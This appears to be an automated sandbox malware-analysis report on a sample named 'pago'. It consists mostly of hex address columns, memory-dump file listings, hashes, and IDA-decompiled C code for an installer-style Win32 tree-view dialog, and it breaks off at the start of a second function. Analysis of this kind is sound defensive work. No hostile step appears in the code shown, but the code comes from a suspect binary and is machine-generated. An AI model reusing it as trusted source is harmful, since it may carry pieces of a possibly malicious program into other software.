                                                                  0x00000000
                                                                  0x004076f7
                                                                  0x004076fa
                                                                  0x004076fc
                                                                  0x00407700
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407702
                                                                  0x00407702
                                                                  0x00000000
                                                                  0x00407704
                                                                  0x00407728
                                                                  0x0040772e
                                                                  0x00407738
                                                                  0x0040773a
                                                                  0x0040773f
                                                                  0x00407741
                                                                  0x00407777
                                                                  0x00407743
                                                                  0x00407743
                                                                  0x00407746
                                                                  0x00407749
                                                                  0x00407753
                                                                  0x00407756
                                                                  0x0040775d
                                                                  0x00407768
                                                                  0x0040776f
                                                                  0x0040776f
                                                                  0x00407779
                                                                  0x0040777c
                                                                  0x0040777e
                                                                  0x00407784
                                                                  0x00407784
                                                                  0x0040778d
                                                                  0x00407790
                                                                  0x00407795
                                                                  0x004077a4
                                                                  0x004077ac
                                                                  0x004077b1
                                                                  0x004077d5
                                                                  0x004077dd
                                                                  0x004077e1
                                                                  0x004077e7
                                                                  0x004077b3
                                                                  0x004077c1
                                                                  0x004077c4
                                                                  0x004077ca
                                                                  0x004077ca
                                                                  0x004077eb
                                                                  0x004077a6
                                                                  0x004077a6
                                                                  0x004077a6
                                                                  0x004077fc
                                                                  0x00407800
                                                                  0x0040780c
                                                                  0x00407807
                                                                  0x0040780a
                                                                  0x0040780a
                                                                  0x00407814
                                                                  0x00407819
                                                                  0x00407821
                                                                  0x0040781d
                                                                  0x0040781f
                                                                  0x0040781f
                                                                  0x00407827
                                                                  0x00407829
                                                                  0x00407830
                                                                  0x0040783a
                                                                  0x00407844
                                                                  0x00407860
                                                                  0x00407864
                                                                  0x004076a9
                                                                  0x004076af
                                                                  0x004076b0
                                                                  0x004076b2
                                                                  0x004076b8
                                                                  0x004076bb
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004076bb
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407846
                                                                  0x00407846
                                                                  0x00407846
                                                                  0x0040784b
                                                                  0x00407854
                                                                  0x0040785d
                                                                  0x00000000
                                                                  0x0040785d
                                                                  0x0040786a
                                                                  0x0040786a
                                                                  0x0040786d
                                                                  0x00407874
                                                                  0x00407877
                                                                  0x00000000
                                                                  0x0040769a
                                                                  0x0040761a
                                                                  0x0040761c
                                                                  0x0040761c
                                                                  0x00407620
                                                                  0x00407623
                                                                  0x00407624
                                                                  0x00407624
                                                                  0x00000000
                                                                  0x0040761c
                                                                  0x00407590
                                                                  0x00407596
                                                                  0x00000000

                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
                                                                  • Instruction ID: 4d3fc1c80ea15bf86cc2801d6424e98614acddb7a54358772128df9d71e60e61
                                                                  • Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
                                                                  • Instruction Fuzzy Hash: C6C14871E042599BCF18CF68C8905EEBBB2BF88314F25866AD85677380D7347941CF95
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 96%
                                                                  			E00404F06(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
                                                                  				struct HWND__* _v8;
                                                                  				struct HWND__* _v12;
                                                                  				long _v16;
                                                                  				signed int _v20;
                                                                  				signed int _v24;
                                                                  				intOrPtr _v28;
                                                                  				signed char* _v32;
                                                                  				int _v36;
                                                                  				signed int _v44;
                                                                  				int _v48;
                                                                  				signed int* _v60;
                                                                  				signed char* _v64;
                                                                  				signed int _v68;
                                                                  				long _v72;
                                                                  				void* _v76;
                                                                  				intOrPtr _v80;
                                                                  				intOrPtr _v84;
                                                                  				void* _v88;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				signed int _t198;
                                                                  				intOrPtr _t201;
                                                                  				intOrPtr _t202;
                                                                  				long _t207;
                                                                  				signed int _t211;
                                                                  				signed int _t222;
                                                                  				void* _t225;
                                                                  				void* _t226;
                                                                  				int _t232;
                                                                  				long _t237;
                                                                  				long _t238;
                                                                  				signed int _t239;
                                                                  				signed int _t245;
                                                                  				signed int _t247;
                                                                  				signed char _t248;
                                                                  				signed char _t254;
                                                                  				void* _t258;
                                                                  				void* _t260;
                                                                  				signed char* _t278;
                                                                  				signed char _t279;
                                                                  				long _t284;
                                                                  				struct HWND__* _t291;
                                                                  				signed int* _t292;
                                                                  				int _t293;
                                                                  				long _t294;
                                                                  				signed int _t295;
                                                                  				void* _t297;
                                                                  				long _t298;
                                                                  				int _t299;
                                                                  				signed int _t300;
                                                                  				signed int _t303;
                                                                  				signed int _t311;
                                                                  				signed char* _t319;
                                                                  				int _t324;
                                                                  				void* _t326;
                                                                  
                                                                  				_t291 = _a4;
                                                                  				_v12 = GetDlgItem(_t291, 0x3f9);
                                                                  				_v8 = GetDlgItem(_t291, 0x408);
                                                                  				_t326 = SendMessageW;
                                                                  				_v24 =  *0x434f28;
                                                                  				_v28 =  *0x434f10 + 0x94;
                                                                  				if(_a8 != 0x110) {
                                                                  					L23:
                                                                  					if(_a8 != 0x405) {
                                                                  						_t301 = _a16;
                                                                  					} else {
                                                                  						_a12 = 0;
                                                                  						_t301 = 1;
                                                                  						_a8 = 0x40f;
                                                                  						_a16 = 1;
                                                                  					}
                                                                  					if(_a8 == 0x4e || _a8 == 0x413) {
                                                                  						_v16 = _t301;
                                                                  						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
                                                                  							if(( *0x434f19 & 0x00000002) != 0) {
                                                                  								L41:
                                                                  								if(_v16 != 0) {
                                                                  									_t237 = _v16;
                                                                  									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
                                                                  										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
                                                                  									}
                                                                  									_t238 = _v16;
                                                                  									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
                                                                  										_t301 = _v24;
                                                                  										_t239 =  *(_t238 + 0x5c);
                                                                  										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
                                                                  											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
                                                                  										} else {
                                                                  											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
                                                                  										}
                                                                  									}
                                                                  								}
                                                                  								goto L48;
                                                                  							}
                                                                  							if(_a8 == 0x413) {
                                                                  								L33:
                                                                  								_t301 = 0 | _a8 != 0x00000413;
                                                                  								_t245 = E00404E54(_v8, _a8 != 0x413);
                                                                  								_t295 = _t245;
                                                                  								if(_t295 >= 0) {
                                                                  									_t94 = _v24 + 8; // 0x8
                                                                  									_t301 = _t245 * 0x818 + _t94;
                                                                  									_t247 =  *_t301;
                                                                  									if((_t247 & 0x00000010) == 0) {
                                                                  										if((_t247 & 0x00000040) == 0) {
                                                                  											_t248 = _t247 ^ 0x00000001;
                                                                  										} else {
                                                                  											_t254 = _t247 ^ 0x00000080;
                                                                  											if(_t254 >= 0) {
                                                                  												_t248 = _t254 & 0x000000fe;
                                                                  											} else {
                                                                  												_t248 = _t254 | 0x00000001;
                                                                  											}
                                                                  										}
                                                                  										 *_t301 = _t248;
                                                                  										E0040117D(_t295);
                                                                  										_a12 = _t295 + 1;
                                                                  										_a16 =  !( *0x434f18) >> 0x00000008 & 0x00000001;
                                                                  										_a8 = 0x40f;
                                                                  									}
                                                                  								}
                                                                  								goto L41;
                                                                  							}
                                                                  							_t301 = _a16;
                                                                  							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
                                                                  								goto L41;
                                                                  							}
                                                                  							goto L33;
                                                                  						} else {
                                                                  							goto L48;
                                                                  						}
                                                                  					} else {
                                                                  						L48:
                                                                  						if(_a8 != 0x111) {
                                                                  							L56:
                                                                  							if(_a8 == 0x200) {
                                                                  								SendMessageW(_v8, 0x200, 0, 0);
                                                                  							}
                                                                  							if(_a8 == 0x40b) {
                                                                  								_t225 =  *0x42d24c;
                                                                  								if(_t225 != 0) {
                                                                  									ImageList_Destroy(_t225);
                                                                  								}
                                                                  								_t226 =  *0x42d260;
                                                                  								if(_t226 != 0) {
                                                                  									GlobalFree(_t226);
                                                                  								}
                                                                  								 *0x42d24c = 0;
                                                                  								 *0x42d260 = 0;
                                                                  								 *0x434f60 = 0;
                                                                  							}
                                                                  							if(_a8 != 0x40f) {
                                                                  								L90:
                                                                  								if(_a8 == 0x420 && ( *0x434f19 & 0x00000001) != 0) {
                                                                  									_t324 = (0 | _a16 == 0x00000020) << 3;
                                                                  									ShowWindow(_v8, _t324);
                                                                  									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
                                                                  								}
                                                                  								goto L93;
                                                                  							} else {
                                                                  								E004011EF(_t301, 0, 0);
                                                                  								_t198 = _a12;
                                                                  								if(_t198 != 0) {
                                                                  									if(_t198 != 0xffffffff) {
                                                                  										_t198 = _t198 - 1;
                                                                  									}
                                                                  									_push(_t198);
                                                                  									_push(8);
                                                                  									E00404ED4();
                                                                  								}
                                                                  								if(_a16 == 0) {
                                                                  									L75:
                                                                  									E004011EF(_t301, 0, 0);
                                                                  									_v36 =  *0x42d260;
                                                                  									_t201 =  *0x434f28;
                                                                  									_v64 = 0xf030;
                                                                  									_v24 = 0;
                                                                  									if( *0x434f2c <= 0) {
                                                                  										L86:
                                                                  										if( *0x434fbe == 0x400) {
                                                                  											InvalidateRect(_v8, 0, 1);
                                                                  										}
                                                                  										_t202 =  *0x433edc; // 0x4e3036
                                                                  										if( *((intOrPtr*)(_t202 + 0x10)) != 0) {
                                                                  											E00404E0F(0x3ff, 0xfffffffb, E00404E27(5));
                                                                  										}
                                                                  										goto L90;
                                                                  									}
                                                                  									_t292 = _t201 + 8;
                                                                  									do {
                                                                  										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
                                                                  										if(_t207 != 0) {
                                                                  											_t303 =  *_t292;
                                                                  											_v72 = _t207;
                                                                  											_v76 = 8;
                                                                  											if((_t303 & 0x00000001) != 0) {
                                                                  												_v76 = 9;
                                                                  												_v60 =  &(_t292[4]);
                                                                  												_t292[0] = _t292[0] & 0x000000fe;
                                                                  											}
                                                                  											if((_t303 & 0x00000040) == 0) {
                                                                  												_t211 = (_t303 & 0x00000001) + 1;
                                                                  												if((_t303 & 0x00000010) != 0) {
                                                                  													_t211 = _t211 + 3;
                                                                  												}
                                                                  											} else {
                                                                  												_t211 = 3;
                                                                  											}
                                                                  											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
                                                                  											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
                                                                  											SendMessageW(_v8, 0x113f, 0,  &_v76);
                                                                  										}
                                                                  										_v24 = _v24 + 1;
                                                                  										_t292 =  &(_t292[0x206]);
                                                                  									} while (_v24 <  *0x434f2c);
                                                                  									goto L86;
                                                                  								} else {
                                                                  									_t293 = E004012E2( *0x42d260);
                                                                  									E00401299(_t293);
                                                                  									_t222 = 0;
                                                                  									_t301 = 0;
                                                                  									if(_t293 <= 0) {
                                                                  										L74:
                                                                  										SendMessageW(_v12, 0x14e, _t301, 0);
                                                                  										_a16 = _t293;
                                                                  										_a8 = 0x420;
                                                                  										goto L75;
                                                                  									} else {
                                                                  										goto L71;
                                                                  									}
                                                                  									do {
                                                                  										L71:
                                                                  										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
                                                                  											_t301 = _t301 + 1;
                                                                  										}
                                                                  										_t222 = _t222 + 1;
                                                                  									} while (_t222 < _t293);
                                                                  									goto L74;
                                                                  								}
                                                                  							}
                                                                  						}
                                                                  						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
                                                                  							goto L93;
                                                                  						} else {
                                                                  							_t232 = SendMessageW(_v12, 0x147, 0, 0);
                                                                  							if(_t232 == 0xffffffff) {
                                                                  								goto L93;
                                                                  							}
                                                                  							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
                                                                  							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
                                                                  								_t294 = 0x20;
                                                                  							}
                                                                  							E00401299(_t294);
                                                                  							SendMessageW(_a4, 0x420, 0, _t294);
                                                                  							_a12 = _a12 | 0xffffffff;
                                                                  							_a16 = 0;
                                                                  							_a8 = 0x40f;
                                                                  							goto L56;
                                                                  						}
                                                                  					}
                                                                  				} else {
                                                                  					_v36 = 0;
                                                                  					_v20 = 2;
                                                                  					 *0x434f60 = _t291;
                                                                  					 *0x42d260 = GlobalAlloc(0x40,  *0x434f2c << 2);
                                                                  					_t258 = LoadImageW( *0x434f00, 0x6e, 0, 0, 0, 0);
                                                                  					 *0x42d254 =  *0x42d254 | 0xffffffff;
                                                                  					_t297 = _t258;
                                                                  					 *0x42d25c = SetWindowLongW(_v8, 0xfffffffc, E00405513);
                                                                  					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
                                                                  					 *0x42d24c = _t260;
                                                                  					ImageList_AddMasked(_t260, _t297, 0xff00ff);
                                                                  					SendMessageW(_v8, 0x1109, 2,  *0x42d24c);
                                                                  					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
                                                                  						SendMessageW(_v8, 0x111b, 0x10, 0);
                                                                  					}
                                                                  					DeleteObject(_t297);
                                                                  					_t298 = 0;
                                                                  					do {
                                                                  						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
                                                                  						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
                                                                  							if(_t298 != 0x20) {
                                                                  								_v20 = 0;
                                                                  							}
                                                                  							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E0040657A(_t298, 0, _t326, 0, _t266)), _t298);
                                                                  						}
                                                                  						_t298 = _t298 + 1;
                                                                  					} while (_t298 < 0x21);
                                                                  					_t299 = _a16;
                                                                  					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
                                                                  					_push(0x15);
                                                                  					E00404499(_a4);
                                                                  					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
                                                                  					_push(0x16);
                                                                  					E00404499(_a4);
                                                                  					_t300 = 0;
                                                                  					_v16 = 0;
                                                                  					if( *0x434f2c <= 0) {
                                                                  						L19:
                                                                  						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
                                                                  						goto L20;
                                                                  					} else {
                                                                  						_t319 = _v24 + 8;
                                                                  						_v32 = _t319;
                                                                  						do {
                                                                  							_t278 =  &(_t319[0x10]);
                                                                  							if( *_t278 != 0) {
                                                                  								_v64 = _t278;
                                                                  								_t279 =  *_t319;
                                                                  								_v88 = _v16;
                                                                  								_t311 = 0x20;
                                                                  								_v84 = 0xffff0002;
                                                                  								_v80 = 0xd;
                                                                  								_v68 = _t311;
                                                                  								_v44 = _t300;
                                                                  								_v72 = _t279 & _t311;
                                                                  								if((_t279 & 0x00000002) == 0) {
                                                                  									if((_t279 & 0x00000004) == 0) {
                                                                  										 *( *0x42d260 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
                                                                  									} else {
                                                                  										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
                                                                  									}
                                                                  								} else {
                                                                  									_v80 = 0x4d;
                                                                  									_v48 = 1;
                                                                  									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
                                                                  									_v36 = 1;
                                                                  									 *( *0x42d260 + _t300 * 4) = _t284;
                                                                  									_v16 =  *( *0x42d260 + _t300 * 4);
                                                                  								}
                                                                  							}
                                                                  							_t300 = _t300 + 1;
                                                                  							_t319 =  &(_v32[0x818]);
                                                                  							_v32 = _t319;
                                                                  						} while (_t300 <  *0x434f2c);
                                                                  						if(_v36 != 0) {
                                                                  							L20:
                                                                  							if(_v20 != 0) {
                                                                  								E004044CE(_v8);
                                                                  								goto L23;
                                                                  							} else {
                                                                  								ShowWindow(_v12, 5);
                                                                  								E004044CE(_v12);
                                                                  								L93:
                                                                  								return E00404500(_a8, _a12, _a16);
                                                                  							}
                                                                  						}
                                                                  						goto L19;
                                                                  					}
                                                                  				}
                                                                  			}



























































                                                                  0x00404f0d
                                                                  0x00404f26
                                                                  0x00404f2b
                                                                  0x00404f33
                                                                  0x00404f39
                                                                  0x00404f4f
                                                                  0x00404f52
                                                                  0x0040517d
                                                                  0x00405184
                                                                  0x00405198
                                                                  0x00405186
                                                                  0x00405188
                                                                  0x0040518b
                                                                  0x0040518c
                                                                  0x00405193
                                                                  0x00405193
                                                                  0x004051a4
                                                                  0x004051b2
                                                                  0x004051b5
                                                                  0x004051cb
                                                                  0x00405240
                                                                  0x00405243
                                                                  0x00405245
                                                                  0x0040524f
                                                                  0x0040525d
                                                                  0x0040525d
                                                                  0x0040525f
                                                                  0x00405269
                                                                  0x0040526f
                                                                  0x00405272
                                                                  0x00405275
                                                                  0x00405290
                                                                  0x00405277
                                                                  0x00405281
                                                                  0x00405281
                                                                  0x00405275
                                                                  0x00405269
                                                                  0x00000000
                                                                  0x00405243
                                                                  0x004051d0
                                                                  0x004051db
                                                                  0x004051e0
                                                                  0x004051e7
                                                                  0x004051ec
                                                                  0x004051f0
                                                                  0x004051fb
                                                                  0x004051fb
                                                                  0x004051ff
                                                                  0x00405203
                                                                  0x00405207
                                                                  0x0040521a
                                                                  0x00405209
                                                                  0x00405209
                                                                  0x00405210
                                                                  0x00405216
                                                                  0x00405212
                                                                  0x00405212
                                                                  0x00405212
                                                                  0x00405210
                                                                  0x0040521e
                                                                  0x00405220
                                                                  0x00405233
                                                                  0x00405236
                                                                  0x00405239
                                                                  0x00405239
                                                                  0x00405203
                                                                  0x00000000
                                                                  0x004051f0
                                                                  0x004051d2
                                                                  0x004051d9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405293
                                                                  0x00405293
                                                                  0x0040529a
                                                                  0x0040530b
                                                                  0x00405313
                                                                  0x0040531b
                                                                  0x0040531b
                                                                  0x00405324
                                                                  0x00405326
                                                                  0x0040532d
                                                                  0x00405330
                                                                  0x00405330
                                                                  0x00405336
                                                                  0x0040533d
                                                                  0x00405340
                                                                  0x00405340
                                                                  0x00405346
                                                                  0x0040534c
                                                                  0x00405352
                                                                  0x00405352
                                                                  0x0040535f
                                                                  0x004054c0
                                                                  0x004054c7
                                                                  0x004054e4
                                                                  0x004054ea
                                                                  0x004054fc
                                                                  0x004054fc
                                                                  0x00000000
                                                                  0x00405365
                                                                  0x00405367
                                                                  0x0040536c
                                                                  0x00405371
                                                                  0x00405376
                                                                  0x00405378
                                                                  0x00405378
                                                                  0x00405379
                                                                  0x0040537a
                                                                  0x0040537c
                                                                  0x0040537c
                                                                  0x00405384
                                                                  0x004053c5
                                                                  0x004053c7
                                                                  0x004053d7
                                                                  0x004053da
                                                                  0x004053df
                                                                  0x004053e6
                                                                  0x004053e9
                                                                  0x0040548b
                                                                  0x00405494
                                                                  0x0040549c
                                                                  0x0040549c
                                                                  0x004054a2
                                                                  0x004054aa
                                                                  0x004054bb
                                                                  0x004054bb
                                                                  0x00000000
                                                                  0x004054aa
                                                                  0x004053ef
                                                                  0x004053f2
                                                                  0x004053f8
                                                                  0x004053fd
                                                                  0x004053ff
                                                                  0x00405401
                                                                  0x00405407
                                                                  0x0040540e
                                                                  0x00405413
                                                                  0x0040541a
                                                                  0x0040541d
                                                                  0x0040541d
                                                                  0x00405424
                                                                  0x00405430
                                                                  0x00405434
                                                                  0x00405436
                                                                  0x00405436
                                                                  0x00405426
                                                                  0x00405428
                                                                  0x00405428
                                                                  0x00405456
                                                                  0x00405462
                                                                  0x00405471
                                                                  0x00405471
                                                                  0x00405473
                                                                  0x00405476
                                                                  0x0040547f
                                                                  0x00000000
                                                                  0x00405386
                                                                  0x00405391
                                                                  0x00405394
                                                                  0x00405399
                                                                  0x0040539b
                                                                  0x0040539f
                                                                  0x004053af
                                                                  0x004053b9
                                                                  0x004053bb
                                                                  0x004053be
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004053a1
                                                                  0x004053a1
                                                                  0x004053a7
                                                                  0x004053a9
                                                                  0x004053a9
                                                                  0x004053aa
                                                                  0x004053ab
                                                                  0x00000000
                                                                  0x004053a1
                                                                  0x00405384
                                                                  0x0040535f
                                                                  0x004052a2
                                                                  0x00000000
                                                                  0x004052b8
                                                                  0x004052c2
                                                                  0x004052c7
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004052d9
                                                                  0x004052de
                                                                  0x004052ea
                                                                  0x004052ea
                                                                  0x004052ec
                                                                  0x004052fb
                                                                  0x004052fd
                                                                  0x00405301
                                                                  0x00405304
                                                                  0x00000000
                                                                  0x00405304
                                                                  0x004052a2
                                                                  0x00404f58
                                                                  0x00404f5d
                                                                  0x00404f66
                                                                  0x00404f6d
                                                                  0x00404f7f
                                                                  0x00404f8a
                                                                  0x00404f90
                                                                  0x00404f9e
                                                                  0x00404fb2
                                                                  0x00404fb7
                                                                  0x00404fc4
                                                                  0x00404fc9
                                                                  0x00404fdf
                                                                  0x00404ff0
                                                                  0x00404ffd
                                                                  0x00404ffd
                                                                  0x00405000
                                                                  0x00405006
                                                                  0x00405008
                                                                  0x0040500b
                                                                  0x00405010
                                                                  0x00405015
                                                                  0x00405017
                                                                  0x00405017
                                                                  0x00405037
                                                                  0x00405037
                                                                  0x00405039
                                                                  0x0040503a
                                                                  0x0040503f
                                                                  0x00405045
                                                                  0x00405049
                                                                  0x0040504e
                                                                  0x00405056
                                                                  0x0040505a
                                                                  0x0040505f
                                                                  0x00405064
                                                                  0x0040506c
                                                                  0x0040506f
                                                                  0x0040513f
                                                                  0x00405152
                                                                  0x00000000
                                                                  0x00405075
                                                                  0x00405078
                                                                  0x0040507b
                                                                  0x0040507e
                                                                  0x0040507e
                                                                  0x00405084
                                                                  0x0040508d
                                                                  0x00405090
                                                                  0x00405094
                                                                  0x00405097
                                                                  0x0040509a
                                                                  0x004050a3
                                                                  0x004050ac
                                                                  0x004050af
                                                                  0x004050b2
                                                                  0x004050b5
                                                                  0x004050f3
                                                                  0x0040511e
                                                                  0x004050f5
                                                                  0x00405104
                                                                  0x00405104
                                                                  0x004050b7
                                                                  0x004050ba
                                                                  0x004050c8
                                                                  0x004050d2
                                                                  0x004050da
                                                                  0x004050e1
                                                                  0x004050ec
                                                                  0x004050ec
                                                                  0x004050b5
                                                                  0x00405124
                                                                  0x00405125
                                                                  0x00405131
                                                                  0x00405131
                                                                  0x0040513d
                                                                  0x00405158
                                                                  0x0040515b
                                                                  0x00405178
                                                                  0x00000000
                                                                  0x0040515d
                                                                  0x00405162
                                                                  0x0040516b
                                                                  0x004054fe
                                                                  0x00405510
                                                                  0x00405510
                                                                  0x0040515b
                                                                  0x00000000
                                                                  0x0040513d
                                                                  0x0040506f

                                                                  APIs
                                                                  • GetDlgItem.USER32 ref: 00404F1E
                                                                  • GetDlgItem.USER32 ref: 00404F29
                                                                  • GlobalAlloc.KERNEL32(00000040,?), ref: 00404F73
                                                                  • LoadImageW.USER32 ref: 00404F8A
                                                                  • SetWindowLongW.USER32 ref: 00404FA3
                                                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB7
                                                                  • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FC9
                                                                  • SendMessageW.USER32(?,00001109,00000002), ref: 00404FDF
                                                                  • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FEB
                                                                  • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFD
                                                                  • DeleteObject.GDI32(00000000), ref: 00405000
                                                                  • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
                                                                  • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
                                                                  • SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
                                                                  • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102
                                                                    • Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC
                                                                  • SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00405144
                                                                  • SetWindowLongW.USER32 ref: 00405152
                                                                  • ShowWindow.USER32(?,00000005), ref: 00405162
                                                                  • SendMessageW.USER32(?,00000419,00000000,?), ref: 0040525D
                                                                  • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C2
                                                                  • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052D7
                                                                  • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FB
                                                                  • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040531B
                                                                  • ImageList_Destroy.COMCTL32(?), ref: 00405330
                                                                  • GlobalFree.KERNEL32 ref: 00405340
                                                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053B9
                                                                  • SendMessageW.USER32(?,00001102,?,?), ref: 00405462
                                                                  • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405471
                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 0040549C
                                                                  • ShowWindow.USER32(?,00000000), ref: 004054EA
                                                                  • GetDlgItem.USER32 ref: 004054F5
                                                                  • ShowWindow.USER32(00000000), ref: 004054FC
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                  • String ID: $60N$M$N
                                                                  • API String ID: 2564846305-105914503
                                                                  • Opcode ID: 749bdf8e43bd841ecb3e5c95033ce80d775c45143b483fe0b3b59f6494973967
                                                                  • Instruction ID: 669472b6e39b4296dbb294a81ed98d86f32f22d8abeb4cff7518c6a892085abf
                                                                  • Opcode Fuzzy Hash: 749bdf8e43bd841ecb3e5c95033ce80d775c45143b483fe0b3b59f6494973967
                                                                  • Instruction Fuzzy Hash: EF028A70900608EFDB20DFA9DD45AAF7BB5FB84314F10817AE610BA2E0D7799942DF58
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 92%
                                                                  			E00404658(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
                                                                  				intOrPtr _v8;
                                                                  				int _v12;
                                                                  				void* _v16;
                                                                  				struct HWND__* _t56;
                                                                  				intOrPtr _t69;
                                                                  				signed int _t75;
                                                                  				signed short* _t76;
                                                                  				signed short* _t78;
                                                                  				long _t92;
                                                                  				int _t103;
                                                                  				signed int _t110;
                                                                  				intOrPtr _t111;
                                                                  				intOrPtr _t113;
                                                                  				WCHAR* _t114;
